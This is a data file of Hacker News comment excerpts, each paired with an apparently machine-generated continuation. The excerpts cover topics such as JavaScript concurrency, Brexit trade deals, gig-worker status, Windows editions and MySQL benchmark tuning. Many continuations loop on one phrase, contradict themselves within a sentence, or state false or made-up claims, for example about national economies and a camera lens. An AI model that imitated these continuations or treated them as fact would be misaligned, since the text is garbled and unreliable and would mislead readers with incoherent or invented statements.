are looking for co-founders etc. I was actually looking\nfor one for my project, however after talking to a YC'er I decided it would be\nbetter to submit as a single founder and look for a like minded co-founder\nalong the way if/when I was accepted\n\n~~~\nserverdude\nsame here - single founder but intend to find another co founder - hopefully\nsoon:) your email is invisible, btw..\n\n------\n619Cloud\nDoing a chat session tonight at 8:30pm [Pacific]. Join us.\n\n<"} +{"output_text": "news = http.get(\"http://news.bbc.co.uk\");\n }\n \n\nI'm not sure how this is any better than the original code.\n\n~~~\nolegp\nThe code is not race condition prone because it's not using the same\nvariable. The code is race condition prone because it's using the same\nvariable.\n\n~~~\nskrebbel\nI'm not sure I understand. The code is race condition prone because", "input_text": " companies. I don't think that says \"there is no EU based tech firms\"\nbut rather \"There are EU based tech firms! But some of them get bought up by\nUS companies and some stay, but at one point they were all EU based\". So\ndoesn't at all prove the original point.\n\n~~~\nrepolfx\nIn context it is equivalent. This thread is about why the EU wouldn't write a\nlaw that only affects US based tech firms, if that was the intention. Someone\nanswered that there's no need because there are no EU based tech firms worth\nanything (no significant employment or tax revenue).\n\nThat point was correct. The responses all ended up naming either firms that\nare tiny, or which aren't any longer based in the EU (so there's no need to\nprotect them from the effects of bad laws that primarily affect tech firms).\nWhere they _started_ is irrelevant to the discussion because what matters is\n_who pays fines today_.\n\n \n\nStratifiedJS: Javascript + structured concurrency - danh\nhttp://onilabs.com/stratifiedjs\n\n======\nolegp\nIf you prefer vanilla JS and are only working with Node, you should check out\n. I use it in my\n package to address the same issues as\nthose tackled by StratifiedJS.\n\n------\nskrebbel\nI'm probably missing something, but isn't this race condition galore? As per\nthe front page example:\n\n \n \n var news;\n waitfor {\n news = http.get(\"http://news.bbc.co.uk\");\n }\n or {\n "} +{"output_text": " minutes, he was mocked by the Daily Mail as a 'madman'.\"_\n\nI'm not sure what the point of this is. Blair was a politician, not a\nscientist. He was making a political point, not a scientific one.\n\n~~~\njameshart\nI think you're right that the article is a bit of a straw man. I think the\npoint is that the Oxbridge-educated elite are not the only people who are\neducated in", "input_text": " great grasp of English culture by the bad generalisations he makes.\n\nWhile I haven't bothered with University, I did go to an expensive private\nschool (a step below the likes of Eton) (fees paid by a scholarship), and I\nhave had some links to Oxford University which technically make me an alumnus\nof an Oxford college and gave me the experience of the university without\nhaving studied there (long story). So I'm pretty familiar with the people this\narticle is trying to talk about. For example I have been in the same class as\nthe son of Peter Hitchens, the brother of Christopher who is mentioned as an\nexample in the article, and also the same class as a boy from the Getty\nfamily.\n\nOverall, I would say that as a country we value talking and arguing highly as\nskills, more so than many countries. It definitely becomes more noticeable the\nhigher you climb on the social ladder, but that is generally just because the\nbetter educated you are, the more practise you get and the more you learn.\nIt's not that middle/upper class education teaches people these things, it's\njust that, as with all subjects, private education tends to give people an\neasier ride.\n\nThe idea that at OxBridge it's more about talking than knowing. This was much\nmore true before I was born, a few decades ago. It's certainly what many\npeople who went to those universities in the 50s-70s would say.\n\n _\"Traditionally, elite Britons then leave education aged 21.\"_ That has\nnothing to do with being \"elite\", simply that the majority of people who go to\nuniversity don't study past their BA.\n\n _\"When Tony Blair hinted that Iraq\u2019s 'weapons of mass destruction' could hit\nLondon within 45"} +{"output_text": " behind.\n\nThe US is going to be a declining power, and the UK is going to be a rising\npower. The UK is going to be the world's largest economy in another 10 years,\nand the US will be a declining power.\n\n~~~\njopsen\nThe US is not going to be a declining power.\n\nThe US is going to be a declining power, but it will be a declining power\nbecause it is a declining power.\n\n", "input_text": " market who every\none knows are in need of a trade deal.\n\n~~~\nnanomoose\nOn the contrary, the opportunity to access the UK market has much enthusiasm.\n\n~~~\nIkmoIkmo\n> On the contrary, the opportunity to access the UK market has much\n> enthusiasm.\n\nYou're implying that's some kind of great news. I'd say, real estate investors\nhave lots of enthusiasm for sellers threatened with foreclosure. You can frame\nit as positively as you want but at the end of the day the UK's position at\nthe negotiation table is simply weaker, and it's no surprise everyone suddenly\nwants to talk.\n\n~~~\njopsen\n> I'd say, real estate investors have lots of enthusiasm for sellers\n> threatened with foreclosure.\n\nNice, hehe :)\n\nWhile that's definitely nice... there is the possibility that making a\ndisadvantages agreement with the US, China, Canada, etc. is better in the long\nterm.\n\nIt took years for the EU and Canada to reach an agreement. If one of them was\nin a less advantages position maybe it could be done faster... And maybe speed\nis more important than conditions of the agreement, who really knows?\n\nEDIT: okay, the brits perhaps ought to know what disadvantages trade\nagreements can do... given their past experience making them with their\ncolonies :)\n\nI note that the brexit'ers probably didn't want disadvantages trade agreements\n:)\n\n------\nwhack\nThe real story is the one no one has been talking about. The US has been the\nworld's largest economy for the past 100-150 years. In another ~10 years, that\nwill no longer be the case. Every year that passes afterwards, the US is going\nto fall further and further"} +{"output_text": "2.html\n======\nbrudgers\nNikon's 300mm F/2 is a telephoto lens for the Nikon 1 system. It's a\ncompromise between a telephoto lens and a prime lens.\n\n[https://www.nikonusa.com/en/Nikon-Products/Lenses/Telephoto-...](https://www.nikonusa.com/en/Nikon-\nProducts/Lenses/Telephoto-Lenses", "input_text": " keep all the data in the failed project achive. The next go will\nhave it's own multiple copies of the same data and so on. They'll just keep\npaying incremental storage charges. Meanwhile, behind the scenes in the cloud\n- automatic, transparent deduplication....\n\n------\nmrwnmonm\nNon-native English speaker here. Could someone write an easier summary,\nplease?\n\n~~~\ntabtab\nSure: \"The cloud doesn't solve common IT problems, only shifts them around,\nand makes some problems worse, such as more vendor-dependency. If you hire\namateurs, you get amateurish results. Renting cloud-based amateurs has all the\nsame problems as in-house (internal) amateurs.\"\n\n~~~\nscarface74\nAnd this \u201cvendor dependence\u201d is somehow different than government depending on\nMicrosoft or even older systems that still depend on IBM mainframes.\n\n~~~\nntsplnkv2\nYou're going a step further in the case of cloud though.\n\nBefore you'd at least hire the sysadmins. Now you rely on probably dirt cheap\noffshore consulting.\n\nIt's just more outsourcing. It comes with scale and as cancer it is just a\nreality. Eventually it will have to be burned down.\n\n~~~\nscarface74\nThey won\u2019t admit it, but many companies move to the cloud not only because\nthey don\u2019t want to deal with administering servers but also because they don\u2019t\nwant to deal with server administrators.\n\nIt\u2019s not like on prem server administrators have a great track record when it\ncomes to security.\n\n \nNikon's 300mm F/2 - brudgers\nhttp://www.company7.com/library/nikon/Nikon_0300f"} +{"output_text": " We are looking for engineers who are\npassionate about testing and have a strong desire to learn and grow.\n\nSoftware Engineer, Java - We are looking for engineers who are passionate about\nbuilding high quality, scalable, and maintainable software. We are looking\nfor engineers who are passionate about building high quality, scalable, and\nmaintainable software.\n\nSoftware Engineer, Python - We are looking for engineers who are passionate\nabout building high quality, scalable, and maintainable software", "input_text": " source and being engaged in the wider tech community.\n\nYou can also read about us at [http://tech.iheart.com](http://tech.iheart.com)\n\nPlease apply at [http://jobs.iheart.com](http://jobs.iheart.com) or email us\nat recruitment@iheartradiocareers.com\n\nSoftware Engineer, Web - Along with Facebook and Netflix, iHeartRadio is one\nof the largest React applications around. We are small, focused team committed\nto produce our best work. We are undertaking a major re-architecture of the\niHeartRadio website/Web application, and just open-sourced a number of modules\n[1] as part of this effort. We intend to contribute increasingly more to the\nReact open-source community.\n\nMobile Engineers - Android and iOS - Come work on our flagship mobile\napplications using best of breed frameworks solving real problems at scale.\nYou will also be actively engaged with our Home and Consumer Electronics\nproducts such as Chromecast, Roku, XBOX, etc.\n\nData Engineer - Seeking engineers with a passion for solving large data\nproblems. Our data platform helps provide insights and analytics, reporting,\nbusiness intelligence and many other functions for the business. We rely on\ntooling such as Hadoop, Hive, Kafka, Redshift, Airflow, Spark.\n\nSoftware Engineer, Scala - Come work with a world class engineering team who\nis very active in the Scala community. We have an Akka Cluster based\nmicroservice framework and we are doing some really exciting things at scale\nusing AWS, Docker and a variety of other tooling.\n\nSofware Engineer in Test - Looking for software engineers who love working on\nautomation frameworks and tooling."} +{"output_text": "\ntraining course_. If you are not a trained welder, you are not going to be\nable to click through a training course.\n\n~~~\nst3v3r\nI'm not sure what you're trying to say. I'm not talking about the cost of\nlicensed insurance salespeople. I'm talking about the cost of unlicensed\ninsurance salespeople.\n\n~~~\nyummyfajitas\nI'm talking about the cost of unlicensed", "input_text": " \"next\" sufficiently many times, only then\nare they permitted to take the exam to determine whether they have enough\nknowledge to sell insurance.\n\nShouldn't this scandal also highlight the perils of a regulatory state?\n\n~~~\nmaxerickson\nModest amounts of wasted time? Oh no.\n\nI suppose one way to estimate how onerous this requirement is (I agree that to\nthe extent it is arbitrary that it is dumb) would be to compare how much\ncompensation the insurance license makes available to how much compensation\nspending the equivalent time learning a skill like welding makes available.\n\n(I think most people wouldn't be very good at welding after 50 hours of\ntraining and practice)\n\n~~~\nyummyfajitas\nAll you propose measuring is the _individual_ benefit to sitting through\ntraining. That's a terrible way to measure the social cost of a bad\nregulation.\n\nThe social cost is 52 hours of productive output from moderately skilled\nemployees. (Or moderately less - if learning the material takes 20 hours, then\nthe waste is 32 hours assuming people can simultaneously learn the material\nand click.)\n\nThe right thing to do is simply make people take the test, and if the test\nisn't accurately measuring people's insurance selling ability, fix the test.\n\n~~~\nst3v3r\nAnd what's the social cost of unlicensed, untrained people selling insurance?\nWhat's the societal cost of people who have not studied selling insurance that\nthey might not understand?\n\n~~~\nyummyfajitas\nI don't see a very high social cost from licensed insurance salespeople who\npassed the exam selling insurance. Do you? If so, what is it?\n\nAgain, note that we are discussing _spending 52 hours clicking through a"} +{"output_text": "uchtodo\n> I don't know how you can say they are anything like an employee.\n\nThey are not employees. They are independent contractors.\n\n~~~\nsteven2012\nI don't think they are independent contractors. They are employees. They are\nnot independent contractors because they are not self-employed. They are\nemployees because they are not independent contractors.\n\n~~~\ntoomuchtodo\n> They are not independent contractors because they are not self-employed", "input_text": " the name of being more agile.\n\n~~~\naggieben\n...or simply trading those \"rights\" for the freedom to be responsible for\ntheir own lives. One gives up a lot of freedom to be an employee. That\ntradeoff might be worth it for some people, and not as much for others.\n\n~~~\nskrause\n> _One gives up a lot of freedom to be an employee._\n\nAs an employee I can walk away from my job any time I want and just get\nanother. If I had my own business that would be _way_ harder.\n\nBecause of that I feel actually more free and independent as an employee. You\njust need to make sure to have a good financial buffer so that\nlosing/switching a job won't hurt very much. Then your employer also can't\npressure you too much.\n\n~~~\naggieben\nI feel exactly the opposite: I'm independent now, and I can walk away from my\ncurrent gig without all that much disruption in my life because I don't depend\non an employer for benefits or what have you. While I'm not walking away, I've\ngot more flexibility than I might with an employer (depending on the\nemployer).\n\nYou're 100% right about having a buffer, though. That's a pretty immovable\nprerequisite no matter what your professional situation is.\n\n------\nsteven2012\nI don't think they will win. Every single uber driver I talk to loves it. They\nlove that they can work whenever they want, that they can choose to work for\nLyft or uber, etc. I don't know how you can say they are anything like an\nemployee. There is no negative consequences for not working except less money.\n\n~~~\ntoom"} +{"output_text": " watched 20 minutes).\n\n\\- If someone watches a video, they have to share it with at least 5 other\npeople.\n\n\\- If someone watches a video, they have to share it with at least 10 other\npeople.\n\n\\- If someone watches a video, they have to share it with at least 20 other\npeople.\n\n\\- If someone watches a video, they have to share it with at least 30 other\npeople.\n\n\\- If someone watches a video", "input_text": "\u00abungoogle the internet\u00bb[1].\n\nI really wish Mozilla tried doing the same thing, with their much bigger\nmanpower and communication impact.\n\n[1]: [https://degooglisons-internet.org/liste?l=en](https://degooglisons-\ninternet.org/liste?l=en)\n\n~~~\nFeniks\nUn Google the internet? I hope so but almost every remotely commercial site\nout there uses Google services.\n\n~~~\nlittlestymaar\nPeople use Google's services (and other privately owned, and \u00abyou are the\nproduct\u00bb, ones) because it's the most convenient way they know about.\nSometimes it's because it's the most convenient way (lack of credible\ncompetition, self-hosting isn't an option for many companies), and sometimes\nit's because the alternatives are less known (commercial products based on\nOpenStreetMap are way better than what google maps offer, but few people know\nabout them).\n\nAn organization like Mozilla could make open-source-based and privacy-aware\nservices for many Google products with ease if they wanted to. (I mean,\nFramasoft is doing it already and it's a really tiny French non-profit\norganization!)\n\n------\nthat_guy1\nI think for this to be successful you need to encourage users to server the\nvideos. There are a couple things that might help this:\n\n\\- Popularity could be based not only on views, but how many total minutes of\nthe video were shared by other people.\n\n\\- When someone watches a video, they have to keep hosting it until they share\nas much as they've watched it (so if they watched 10 minutes, they have to\nshare it until they've"} +{"output_text": "\nIt is a ponzi scheme.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~", "input_text": " more than going there.\n\n~~~\nzaidf\n_It worked on the novelty effect and it was doomed to fail._\n\nA little premature to write an obituary of a company that finished 2011 with\n1.6B in revenue.\n\n~~~\nohashi\n1.6B in revenue is pretty meaningless if you're not even making a profit. They\nare simply really good at losing a lot of money.\n\n~~~\nzaidf\nIt's \"scary\" and \"even\" dangerous one may say, but _not_ meaningless.\n\n~~~\nohashi\nYou are correct, it's not meaningless, I should have said: Simply having\nrevenue isn't a defense for a company if they are spending more money than\nthey are bringing in.\n\n------\nsnorkel\nWho would guess that there could be an integrity issue with a company that\ntried to invent new accounting rules where marketing costs don't appear on the\nbalance sheet? You'd have a crystal ball or a brain to see this coming.\n\n~~~\nlubos\nMarketing costs are not supposed to appear on balance sheet.\n\nI don't really watch this company but if I remember correctly, their way of\ndoing accounting was to show all received money from customers as income\ninstead of liabilities since they were collecting half of it on behalf of\nvendors.\n\nThey were simply inflating their revenue but it's not like it matters, because\nprofit (loss) would be always the same regardless.\n\n------\nbfrog\nPlease. As if anyone with half a brain couldn't see this ponzi scheme on the\nblowup train of doom. Who are these magical investors?\n\n~~~\ndantheman\nIt's not a ponzi scheme.\n\n~~~\njasonrr"} +{"output_text": " burgers.\n\nI'm not going to let this stop me. I'm going to keep on looking.\n\nI'm going to keep on looking.\n\n~~~\njoshu\nI'm sorry you're going through this.\n\nI'm in a similar situation. I'm a programmer, but I'm not doing anything\ninteresting. I'm not even doing anything that I'm proud of.\n\nI'm going to keep on looking.\n\n~~~\nclipity", "input_text": " right now?\nTo the detriment of my long term health or do I eat the kale forfeiting short\nterm pleasure and gaining long term pleasure?\n\nYour model has no predictive power.\n\n------\norasis\nTravel the world. Ignore these asshats that try to guilt trip you into working\nthrough your slump.\n\n------\nclipityclapity\nHere's my story.\n\nTwo years ago, I dropped out of a mathematically oriented master's. Let's say\nI quit because I wanted to found a company. That's what I tell everybody. And\nthat's what I did.\n\nI can get into the details of why it didn't work, but I'll tell you something\nhere, something which, until now, I have only written down in places nobody\nwould read it: I might have been running from reality. Using the company as a\nhide-out. \"Maybe this will give me a purpose?\"\n\nWe pulled the plug when we were forced to realize that it was a dead end.\n\nPause six months. Rethink life. Winter, not a good time.\n\nMoved to another country and tried again. It went better, but still not good\nenough.\n\nAgain, six months of nothing. Winter.\n\nTravel. Maybe languages are my thing? Different cultures? Get lost. Come back.\n\nWinter.\n\nThis time, I'm not letting it steal six months. I'm trying for another project\n(Show HN soon), I'm going on another travel, and I'll keep on looking, because\nI know one thing: an office will be the death of me. Unfortunately,\nprogramming is generally done in offices.\n\nBut there's always that doubt. Got some freelance jobs to make ends meet.\nFlipping"} +{"output_text": "'m not sure why people are so obsessed with wood.\n\n~~~\njessaustin\n_Concrete buildings can last for centuries._\n\nI'm not sure that's true. I've seen a lot of concrete buildings that have\nbeen abandoned for decades.\n\n~~~\nMrFantastic\nI've seen a lot of concrete buildings that have been abandoned for decades.\n\nI've seen a lot of concrete buildings that have been abandoned for decades.\n\nI've", "input_text": " it's covered, how can you tell when there's damage?\n\nWe recently had seismic plywood shear walls installed in our soft story\ngarage, holding up our 2 stories of living space. A previous owner actually\nhad shear walls installed in 1992, after the 1989 Loma Prieta earthquake. But\nthe '92 retrofit used the wrong grade of plywood, and used screws instead of\nnails. Screws have poor shear strength. The panels were basically useless for\nseismic safety and had to be replaced.\n\nThe 90-year-old redwood studs looked surprisingly pristine. But one of the\nstuds had some kind of termite or fungal damage. The entire stud, top to\nbottom, basically disintegrated in your hands; but everything else was in\nperfect shape, including the sills. There were no outward signs of this at all\n--neither on the stud itself, on adjacent studs, nor the top or bottom sill\nplates. It was bizarre. And it would have gone totally unnoticed and maybe\neven spread, completely undetected, had the old panels not been removed.\n\nThe shear walls weren't the only things improperly installed. The 1992\nfoundation bolts didn't use adequately sized washers, so with enough movement\nthe bolt heads would have ripped through the sill plate. Again, this was\nhidden behind the wall panels.\n\nI grew up in Florida trailer parks. To me anything covered is hiding something\n--cockroaches, termites, substandard construction. Were there no need for the\nshear walls, I'd much prefer to have exposed studs and a completely exposed\nsill plate, at least in the garage.\n\n------\nMrFantastic\nConcrete buildings can last for centuries. There are few wood buildings that\nlast that long.\n\nI"} +{"output_text": "black box\" then it\nbecomes very difficult to tax.\n\n~~~\nsremani\nI am not sure if you are aware of the fact that India has a very good tax\nsystem.\n\n~~~\ntankenmate\nI am aware of the fact that India has a very good tax system. I am also aware\nof the fact that the tax system is not perfect.\n\n------\nsremani\nI am not sure if you are aware", "input_text": " recourse to customer problems / disputes / charge\nbacks etc.\"\n\nAnd stopping payments is not the right way to address customer problems.\n\n~~~\nINTPenis\nYes and further I think every single bullet point can be said about regular\nmoney.\n\nBanks are not invulnerable to hacking.\n\nIf you get hustled for your pocket money in the street then the police will\nhave to find the perpetrator with any means at hand. Just because it's an\nelectronic currency does not mean anything is different here.\n\nAre they trying to say that every single Indian citizen could withdraw their\nmoney as gold or some equally valuable substance that they can equate to cash\nmoney in society?\n\nWealth truly knows no god and no master, nor any border.\n\nBeware of the propaganda, fear what you don't understand.\n\n~~~\ntechtivist\nThis! Exactly the point I made above! Same issues plague \"traditional\" banks\nand RBI has imposed very limited liabilities on Bank or even safeguards like\nthis one\n[https://www.pcisecuritystandards.org/security_standards/](https://www.pcisecuritystandards.org/security_standards/).\nSo if the Target fiasco had happened in India, Target would have minimum if\nany liabilities. Why do you think \"cash on Delivery\" is such a big thing in\nIndia. Consumers are paranoid, not just because it's their habit, they just\nfeel vulnerable with no recourse even with traditional banking.\n\n------\ntankenmate\nThe main reason that India is concerned about this is it's ability to tax\nforeign income of resident Indians. If bitcoin or other VCs allow people to\nearn money overseas and then get paid in a complete \""} +{"output_text": " the market for decades.\n\n~~~\njoe_the_user\n_For Microsoft, having a full featured reliable non-core product with\nmeasurable market share is a success because it allows Microsoft to offer\nvertical integration without the specter of anti-trust allegations - imagine\nthe howling in DC and Europe if Bing controlled 70% of search (never mind the\nvalley)._\n\nI think you're missing the point. Microsoft's core business is not search.", "input_text": "their massive earnings from the glory days or they're just looking for\nsomewhere else to be that's a better use of their time and talent.\n\nMS continues to make a crap-ton of money from its core products, but it will\nbe institutionally ham-strung in responding to the threats that will steal\naway that revenue (such as mobile-heritage operating systems). Because those\nthreats will grow at a rate MS is incapable of competing with.\n\n~~~\nbrudgers\n> _\"I don't know that Bing has \"failed\" yet, but I highly doubt it'll be\n> anything other than one amongst many in the pack in 5 years.\"_\n\nFor Microsoft, having a full featured reliable non-core product with\nmeasurable market share is a success because it allows Microsoft to offer\nvertical integration without the specter of anti-trust allegations - imagine\nthe howling in DC and Europe if Bing controlled 70% of search (never mind the\nvalley).\n\nBing's robustness helps Microsoft sell software and services, while it's\nmodest market share keeps infrastructure costs lower and Microsoft's core\nrevenue stream coming from areas other than search reduces the pressure to\ngame search algorithms towards their advertisers in order to increase revenue\nin the way that Google does.\n\nWhat the article shows is not that Microsoft is inept, but rather that they\nare able to create an internal unit with many elements of a startup, scale\nthat unit massively, and then transition it into a solid corporate structure\ncapable of surviving over the long term - in other words, the article shows\nthat Microsoft was not only able to successfully foster internal\nentrepreneurship in order to quickly move into a new market and capture\nmeaningful market share in the face of a mammoth, entrenched, and powerful\nrival which dominated"} +{"output_text": "\n\n~~~\nmattmanser\nI don't think it's a dark pattern. It's a feature.\n\n~~~\nnpo9\nIt's a feature that I don't want. I don't want to install a toolbar. I don't\nwant to install a toolbar that I don't want. I don't want to install a toolbar\nthat I don't want. I don't want to install a toolbar that I don't want. I\ndon't want", "input_text": "\n------\nDirlewanger\nAnyone have experience with the LTSC?\n\n~~~\nitvision\nI love it.\n\nIt's a stripped down to the bare bones Windows 10 which doesn't include UWP\napps (except the core ones, like the start menu and PC settings) and which\nallows to disable pretty much all the telemetry.\n\nAlso, it's rock solid, doesn't get reinstalled every 12 months and is\nsupported for 10+ years.\n\nIn short, it's what Windows 10 should have been.\n\n------\nLoSboccacc\n> Disable all apps from the Windows Store.\n\ndamn I hate this. did the mistake to try Skype from the app, in a period where\nSkype for desktop had issues with for transfers, only to discover it's worse\nin every way, and now I'm stuck, unable to remove it out prevent it from start\n\n~~~\nragequitta\nStrange I was able to right click -> uninstall the skype store app from the\nstart menu no problem.\n\n~~~\nLoSboccacc\ndid that and also tried from the power shell and as soon as I reboot is back\n\n------\nnpo9\nI remember a time in 2012. I was installing Windows on my computer to play a\nvideo game. It was the first time I used windows in about 2-3 years. I started\ninstalling some utilities. A web browser, steam, a music player, etc. One of\nthem asked me to install the Ask Jeeves toolbar. I became very angry. Of\ncourse I didn\u2019t want to install the Ask Jeeves toolbar. No one wants the Ask\nJeeves toolbar. What a dark pattern to try to get me to misclick and install\nsome crap. What a clear lack of user focus."} +{"output_text": " mean that the\nmiddle class is being suffocated.\n\n~~~\nthreadify\nI'm not saying the middle class is being suffocated, I'm saying that the\nmiddle class is being suffocated by the lack of affordable housing.\n\n~~~\nchangoplatanero\nI'm saying that the middle class is being suffocated by the lack of affordable\nhousing.\n\n------\njedberg\nI'm not sure if this is a good thing or not.", "input_text": " be illegal. But if your\nemployees are leaving because you don't pay them enough, the solution seems\nobvious: pay them more. Raise your prices correspondingly. If the market can't\nbear those prices in such an expensive city, then clearly there's not enough\ndemand for restaurants in San Francisco, which would be sad, but it may be the\nreality.\n\nMeanwhile, the city would do well to invest in some affordable housing if they\ndon't want to turn into a rich people's ghetto.\n\n~~~\naeternus\nRaising prices does seem to be the right answer.\n\nMany expensive restaurants in SF are packed and it is quite difficult to get a\nreservation. There is clearly market demand in that segment.. if the food is\ngood enough.\n\nThe low or mid-range segment demand is likely shrinking. Why go out to get\nmediocre food when it is increasingly easy to have food, groceries, or meal-\npacks delivered to your door?\n\n~~~\nmcv\nYeah, I read in other comments that it's not actually that good a restaurant.\nIf it's expensive and mediocre, I guess they may have to look for an easier\nmarket.\n\n------\nthreadify\n> In nearby San Francisco, only 0.1% of restaurant staff can find affordable\n> housing in the city, with the average monthly rent for a one-bedroom\n> apartment at an insane $3,447.\n\nLack of affordable housing is doing the suffocation. America was built by a\nstrong middle class, and SF is setting an example of what happens when people\nstop caring about the middle class and $70K/year becomes low income.\n\n~~~\nchangoplatanero\nJust because the median apartment is not affordable doesn't"} +{"output_text": "\n~~~\njames_s_tayler\nI'm not sure I understand what you're saying here.\n\nYou're saying that Lisp is a language that is good for writing macros, and\nthat's why it's good for writing macros.\n\nBut macros are a feature of Lisp, not a language feature.\n\n~~~\njames_s_tayler\nI'm not sure I understand what you're saying here.\n\nYou're saying", "input_text": " when\nprogrammers tried to type as little as possible. In doing so, the language\nadopted all these little quirks. I\u2019m not saying it\u2019s bad, but it\u2019s just\ndifferent.\n\nWhereas the human mind is a simple graphical machine, and we like to see\nassociations. Like, the usage of an equal sign, to see that we\u2019ve made a\nvariable assignment. Maybe this reaches back to our childhood algebra days,\nwhere we associate equivalence with an equal sign. Who knows.\n\nBut Lisp did away with all that. It created its own style. It gave us\nparentheses to enclose our statements, which is to be honest, actually a nice\nfeature. But it forced us into knowing the specific ordering, sequence, and\nsymbols in order to make a legal statement.\n\nAnyways, I like Lisp, and have always been wanting to use it for something.\nBut not quite sure what.\n\nIt\u2019s great for writing short macros in Emacs though. You can write a multi\nline function, then compress it back into a single liner, because of the\nparentheses. This helps keep your config file short.\n\nIt doesn\u2019t really work for video game programming, as it doesn\u2019t seem to have\nthe libraries for it. It\u2019s not as fast as C for speed critical applications.\n\nIt kinda lives in that medium realm, where internal business applications can\nuse it for internal business processing, that can run uninterrupted for\ndecades. But, this space is where Python excels at.\n\nAnyways, one day, I\u2019ll finally create that programming language idea of mine,\nand it\u2019ll be some fusion of Lisp and Smalltalk, but can run almost as fast as\nC.\n"} +{"output_text": " in China), or a surveillance\napparatus.\n\n~~~\npjmlp\nThe US is not a democracy, but a plutocracy.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this.\n\nIf you're going to build a phone, you're going to build a phone.\n\nIf you're going to build a phone, you're going to build a phone that works\nwith the apps you want", "input_text": "x\nWouldn't be very battery (or other resource) friendly.\n\n------\nTinfoilhat666\nAndroid and iPhone app stores are already saturated. The app store for\nHarmonyOS isn't. This could be a good opportunity for new mobile app\ndevelopers.\n\n~~~\nKipters\nThe same thing has been told referring to the Windows Phone 7 Marketplace\nthough\n\n~~~\naddicted\nThis OS, if it\u2019s anh good, should at least have the Chinese market locked up\nthough. Which is a few hundred million users.\n\nIf it\u2019s good, and Huawei follows up on making it truly open source, I suspect\nevery Chinese manufacturer would at least have a line of Harmony OS phones,\nbecause they could always be the next trade war target.\n\nAnd once the Chinese manufacturers are supporting it, you can also add a huge\nchunk of the South and South East Asian markets as your customer base as well,\nsince a lot of users in those areas basically just buy the latest Xiaomi or\nHuawei phones.\n\n------\nJohnStrangeII\nOf all the efforts at an alternative mobile OS so far, Harmony OS seems to\nhave the best chances of success, because it is backed up by the Chinese state\nand its pervasive surveillance apparatus. With government help and full\nintegration into the total surveillance of all Chinese citizens, they can get\ntheir share of the Chinese market and break the application barrier.\n\n~~~\npjmlp\nAs if Google and Apple don't have to obey the wishes of FBI, CIA, NSA,...\nregarding \"making the world safer\".\n\n~~~\nJohnStrangeII\nThe US doesn't have a citizen score, political re-education camps, Tiananmen\nSquare massacre, widespread censorship (like"} +{"output_text": "'ll see that many of them are from framework maintainers.\n\nI'm not sure if we'll ever be able to get the vendors to agree on a common\nconfiguration, but I think it's a worthwhile goal.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe benchmarks are not really about the language, they are about the\nimplementation.\n\n~~~\nbhauer\nI agree. I think the point of the benchmarks is", "input_text": " support yet. So Symfony2, laravel, ZF2 can\nnot be run in it. But basic PHP performance would skyrocket I assume.\n\n~~~\nfrik\nHHVM is moving fast - Namespace support arrived. I heard reflection\ncompatibility with PHP.net needs some work. They are fixing bugs that prevent\ntop PHP project from working.\n\n------\nmorgo\nI think it would be interesting if respective technology vendors could be\nmotivated to tune the configuration, and be bound by some rules. eWeek did a\nDB shootout like this 10 years ago, and (as the rumor goes) led to the\ncreation of the MySQL query cache to specifically beat the benchmark.\n\nGetting the various vendors involved would require a lot of clout though :(\n\nHere is some commentary on the MySQL configuration:\n[https://github.com/TechEmpower/FrameworkBenchmarks/blob/mast...](https://github.com/TechEmpower/FrameworkBenchmarks/blob/master/config/my.cnf)\n\n* innodb_log_flush_at_trx_commit is not specified, so it's going to default to 1 (durable). This is a little unfair, since other databases won't do this.\n\n* innodb_buffer_pool_size isn't specified, so it's going to default to 128M. A database that uses mmap files will have an atvantage here - since it can automatically use free memory and won't require this level of tuning.\n\n* I thought it was fair to disable query cache though :)\n\n~~~\nbhauer\nActually, mostly in an informal matter, we have in fact received many test\nimplementations from maintainers of frameworks directly. If you go through the\npull requests, you"} +{"output_text": "a dolly.)_\n\nI'm not sure why this is a problem. If you're delivering a box, you're not\ngoing to be carrying it up a flight of stairs.\n\n~~~\njessaustin\nI'm not sure why this is a problem. If you're delivering a box, you're not\ngoing to be carrying it up a flight of stairs.\n\n~~~\nJohnny555\nI'm not sure why this is a problem. If you", "input_text": "\nmostly the former.\n\n------\nars\nSounds like non-drivable, only walkable, cities are a real problem for\ndeliveries.\n\n~~~\nDjvacto\nI don't think this is a huge problem though, as it forces the use/development\nof things like delivery lockers, last-mile bike/foot delivery, pickup\nstations, and just generally pushing back on the idea that a car should be\nable to go everywhere until a human is absolutely forced to get out of the car\nand walk.\n\nI think cities/bigger towns would eventually (in my idealistic world vision)\nhave major highways/roads that go around them, and have primarily\nfoot/bike/public transit traffic for everything internal.\n\n~~~\nglenneroo\nDomino's recently opened up some shops in Vienna, Austria and they gave a lot\nof their delivery people e-bikes. UPS also seems to have people delivering\nlast-mile with e-bikes. Seems to work out great and they aren't clogging up\nthe streets with delivery cars parked everywhere, blocking entrances, etc.\nlike most other delivery services.\n\n------\njjoske\nWhen google initially invested in Boston Robots I thought was to try and solve\nthis problem.\n\n~~~\nZigurd\nI think you mean Boston Dynamics.\n\n------\ntardo99\nI mean, the truth is these jobs will go away relatively soon because of drones\nand robotics.\n\n------\nJohnny555\n_The security guard at the front door of the office building chastised me for\ncarrying the box, and told me that I should be using a dolly to transport it.\n(None of the 19 videos I had to watch to be a Flex driver recommended bringing\n"} +{"output_text": " newer type, which is more expensive, allows traffic to bypass NAT and access the internet directly.\n\n* Route53 - this is a DNS service that is used to manage the DNS records for your VPCs. It is a very powerful service, but it is not cheap.\n\n* Route53 Private Zones - these are a way to create a private DNS service for your VPCs. They are a bit more expensive than Route53, but they are a lot more powerful.\n\n", "input_text": " in the realm of scripting languages 14 years is a _huge_ amount of\ntime. Why would anyone judge Perl, Python, or Lua, say, by the state of those\nlanguages _in 1997_. The mind boggles.\n\n \nNetworking on AWS (2018) - petercooper\nhttps://grahamlyons.com/article/everything-you-need-to-know-about-networking-on-aws\n======\nbecauseiam\nThere's quite a few things you've missed that are significant and should have\nbeen included, maybe one for part two:\n\n* Network ACLs, which describe the ruleset (consider it like a stateless firewall) for subnets and their respective routes. Whilst they are optional, having a default set it straightens out a lot of duplication that may end up in Security Groups (which are more stateful in nature).\n\n* Elastic (public) IPs. NAT instances/gateways require their use, and there is dance to be done around their allocation in account, and attaching to instance interfaces.\n\n* IPv6 components. Egress-only Internet Gateways operate 